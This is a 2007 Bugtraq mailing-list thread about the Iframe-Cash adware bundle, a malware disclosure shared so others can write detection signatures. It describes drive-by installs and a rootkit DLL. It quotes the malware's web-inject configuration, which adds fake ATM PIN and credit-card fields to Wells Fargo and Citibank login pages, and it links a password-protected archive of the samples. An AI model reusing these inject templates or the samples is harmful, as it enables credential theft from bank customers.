bugtraq - Re: Iframe-Cash/Iframe-Dollars Adware bundle...oooh... my ....god..

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <Pine.LNX.4.21.0703131145180.11867-100000@linuxbox.org>
Date: Tue, 13 Mar 2007 11:47:56 -0500 (CDT)
From: Gadi Evron <ge@...uxbox.org>
To: Thierry Zoller <Thierry@...ler.lu>
Cc: bugtraq@...urityfocus.com
Subject: Re: Iframe-Cash/Iframe-Dollars Adware bundle...oooh... my ....god..

On Sun, 11 Mar 2007, Thierry Zoller wrote:
> Dear list,
> 
> Whoever deals with these poeple and thinks they are a benign Adware
> company (and thus spreads their bundles.

iframedollaz used to offer webmasters a deal to include code on their
website for cash per hit (drive-by install).

They have been doing a lot of other stuff, as well, such as breaking into
websites and "defacing" them. Read defacing as "leave them the same way
only add malicious code to install drive-by malware".

They are by far not the only ones, nor are these their only strategies.

	Gadi.

> 
> Check this :
> Ignoring the fact that they basicaly  install a Rootkit, I attached a
> few files I reversed, they install a DLL that does not directly KEYLOG your
> banking data, but INJECTS HTML CODE into the _genuine_ (SSLed) Banking page
> asking you to enter more details (like PIN, Magic Password etc), then
> capture that data and transmit it (I did no further investigation)
> 
> http://secdev.zoller.lu/system32.zip
> Pass: 123
> 
> I am disgusted. They even created their own XML parser for this ...
> 
> An extract of HTML code they inject :
> -------------------------------------
> <inject
> url="wellsfargo" 
> before="name=userid autocomplete='off'></DIV>" 
> what="
> <DIV><LABEL for=userid>ATM PIN</LABEL>:<BR><SPAN class='mozcloak'><INPUT id=pin  tabIndex=2 maxLength=4 type=password size=4 name=pin autocomplete='off'></SPAN></DIV>
> "
> block="alt=Go" 
> check="pin"
> quan="4"
> content="d"
> >
> </inject>
> ------------------------------------
> 
> Attached the main files (pass 123), feel free to add this as HIPS or whatever
> signatures, those interested in a complete reversal can contact me
> to receive the EXE in question.
> 
> I have no more time feel free to dig deeper.
> 
> 
> I especialy liked this :
> ------------------------
> <inject
> url="citibank.com" 
> <TR><TD colspan=3 class=smallArial noWrap><SPAN STYLE='color:red'>To prevent fraud enter your credit card information please:</SPAN></TD></TR>
> 
> 
> Puke..
> 
> -- 
> http://secdev.zoller.lu
> Thierry Zoller
>